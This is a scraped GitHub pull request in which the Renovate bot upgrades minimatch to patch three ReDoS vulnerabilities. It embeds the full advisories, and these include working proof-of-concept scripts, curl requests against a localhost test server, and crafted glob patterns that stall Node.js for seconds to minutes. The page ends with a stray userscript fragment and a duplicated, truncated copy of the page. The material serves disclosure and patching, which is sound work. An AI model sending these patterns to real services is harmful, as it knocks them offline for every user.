chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - #210

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability
Open

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]#210
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 23, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
minimatch10.0.310.2.3ageconfidence

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

CVE-2026-26996 / GHSA-3ppc-4f35-3m26

More information

Details

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

CVE-2026-27904 / GHSA-23c5-xmqv-rm74

More information

Details

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type==='*'&&bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

PatternGenerated regex
*(a|b)/^(?:a|b)*$/
*(*(a|b))/^(?:(?:a|b)*)*$/
*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

PatternInputTime
*(*(a|b))a x30 + z~68,000ms
*(*(*(a|b)))a x20 + z~124,000ms
*(*(*(*(a|b))))a x25 + z~116,000ms
*(a|a)a x25 + z~2,000ms

Depth inflection at fixed input a x16 + z:

DepthPatternTime
1*(a|b)0ms
2*(*(a|b))4ms
3*(*(*(a|b)))270ms
4*(*(*(*(a|b))))115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import{minimatch,Minimatch}from'minimatch'functiontimed(fn){consts=process.hrtime.bigint()letresult,errortry{result=fn()}catch(e){error=e}constms=Number(process.hrtime.bigint()-s)/1e6return{ ms, result, error }}// Verify generated regexpsfor(letdepth=1;depth<=4;depth++){letpat='a|b'for(leti=0;i<depth;i++)pat=`*(${pat})`constre=newMinimatch(pat,{}).set?.[0]?.[0]?.toString()console.log(`depth=${depth} "${pat}" -> ${re}`)}// depth=1 "*(a|b)" -> /^(?:a|b)*$/// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/// Safe-length timing (exponential growth confirmation without multi-minute hang)constcases=[['*(*(*(a|b)))',15],// ~270ms['*(*(*(a|b)))',17],// ~800ms['*(*(*(a|b)))',19],// ~2400ms['*(*(a|b))',23],// ~260ms['*(a|b)',101],// <5ms (depth=1 control)]for(const[pat,n]ofcases){constt=timed(()=>minimatch('a'.repeat(n)+'z',pat))console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)}// Confirm noext disables the vulnerabilityconstt_noext=timed(()=>minimatch('a'.repeat(18)+'z','*(*(*(a|b)))',{noext: true}))console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)// +() is equally affectedconstt_plus=timed(()=>minimatch('a'.repeat(17)+'z','+(+(+(a|b)))'))console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

importhttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3001http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6console.log(`[${newDate().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')}).listen(PORT,()=>console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}
time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while(fr<fl){..if(this.matchOne(file.slice(fr),pattern.slice(pr),partial)){..returntrue}..fr++}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)Pattern sizeTime
736 bytes~154ms
946 bytes~1.2s
1156 bytes~5.4s
1261 bytes~9.7s
1366 bytes~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import{minimatch}from'minimatch'// k=9 globstars, n=30 path segments// pattern: 46 bytes, default optionsconstpattern='**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'constpath='a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'conststart=Date.now()minimatch(path,pattern)console.log(Date.now()-start+'ms')// ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9sconstk=11constpattern=Array.from({length: k},()=>'**/a').join('/')+'/b'constpath=Array(30).fill('a').join('/')minimatch(path,pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjsimporthttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3000constserver=http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)if(url.pathname!=='/match'){res.writeHead(404);res.end();return}constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')})server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}
time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}
time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 23, 2026
@renovate
renovateBot requested a review from a teamFebruary 23, 2026 00:42
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 23, 2026 00:42
@renovate
renovateBot enabled auto-merge (squash) February 23, 2026 00:42
@renovate

renovateBot commented Feb 23, 2026

Copy link
Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@deepsource-io

deepsource-ioBot commented Feb 23, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...26794f9 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 13, 2026 5:21p.m.Review ↗
ShellMar 13, 2026 5:21p.m.Review ↗

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0991009084100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+198+6100

View full report

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yamlnpm/@nx/react@21.5.3npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedFeb 24, 2026
@renovaterenovateBot closed this Feb 24, 2026
auto-merge was automatically disabled February 24, 2026 21:24

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-minimatch-vulnerability branch February 24, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]Feb 25, 2026
@renovaterenovateBot reopened this Feb 25, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 8481288 to 6e988ceCompareFebruary 28, 2026 05:19
@renovate
renovateBot enabled auto-merge (squash) February 28, 2026 05:19
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Feb 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 6e988ce to cb916c7CompareMarch 5, 2026 15:34
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from cb916c7 to 26794f9CompareMarch 13, 2026 17:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@storm-softwarestorm-software locked and limited conversation to collaborators Mar 27, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 26794f9 to 8fb4eb9CompareMarch 30, 2026 20:53
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 8fb4eb9 to 5a959f6CompareApril 1, 2026 17:02
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:02
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 5a959f6 to ba70075CompareApril 8, 2026 21:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 32cacb3 to a1528a4CompareApril 29, 2026 09:42
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:42
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 46d0576 to 2af224dCompareMay 18, 2026 12:41
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from b3fbe6f to d9d01ccCompareJune 1, 2026 20:18
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from d9d01cc to ef90e24CompareJune 11, 2026 11:17
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 72e554c to 633c002CompareJuly 24, 2026 22:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 1abc0da to e1d038aCompareJuly 30, 2026 18:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from e1d038a to 453fd3cCompareAugust 12, 2026 04:19
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 453fd3c to a853fb9CompareAugust 14, 2026 21:11
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
Skip to content

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - #210

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability
Open

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]#210
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 23, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
minimatch10.0.310.2.3ageconfidence

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

CVE-2026-26996 / GHSA-3ppc-4f35-3m26

More information

Details

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

CVE-2026-27904 / GHSA-23c5-xmqv-rm74

More information

Details

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type==='*'&&bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

PatternGenerated regex
*(a|b)/^(?:a|b)*$/
*(*(a|b))/^(?:(?:a|b)*)*$/
*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

PatternInputTime
*(*(a|b))a x30 + z~68,000ms
*(*(*(a|b)))a x20 + z~124,000ms
*(*(*(*(a|b))))a x25 + z~116,000ms
*(a|a)a x25 + z~2,000ms

Depth inflection at fixed input a x16 + z:

DepthPatternTime
1*(a|b)0ms
2*(*(a|b))4ms
3*(*(*(a|b)))270ms
4*(*(*(*(a|b))))115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import{minimatch,Minimatch}from'minimatch'functiontimed(fn){consts=process.hrtime.bigint()letresult,errortry{result=fn()}catch(e){error=e}constms=Number(process.hrtime.bigint()-s)/1e6return{ ms, result, error }}// Verify generated regexpsfor(letdepth=1;depth<=4;depth++){letpat='a|b'for(leti=0;i<depth;i++)pat=`*(${pat})`constre=newMinimatch(pat,{}).set?.[0]?.[0]?.toString()console.log(`depth=${depth} "${pat}" -> ${re}`)}// depth=1 "*(a|b)" -> /^(?:a|b)*$/// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/// Safe-length timing (exponential growth confirmation without multi-minute hang)constcases=[['*(*(*(a|b)))',15],// ~270ms['*(*(*(a|b)))',17],// ~800ms['*(*(*(a|b)))',19],// ~2400ms['*(*(a|b))',23],// ~260ms['*(a|b)',101],// <5ms (depth=1 control)]for(const[pat,n]ofcases){constt=timed(()=>minimatch('a'.repeat(n)+'z',pat))console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)}// Confirm noext disables the vulnerabilityconstt_noext=timed(()=>minimatch('a'.repeat(18)+'z','*(*(*(a|b)))',{noext: true}))console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)// +() is equally affectedconstt_plus=timed(()=>minimatch('a'.repeat(17)+'z','+(+(+(a|b)))'))console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

importhttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3001http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6console.log(`[${newDate().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')}).listen(PORT,()=>console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

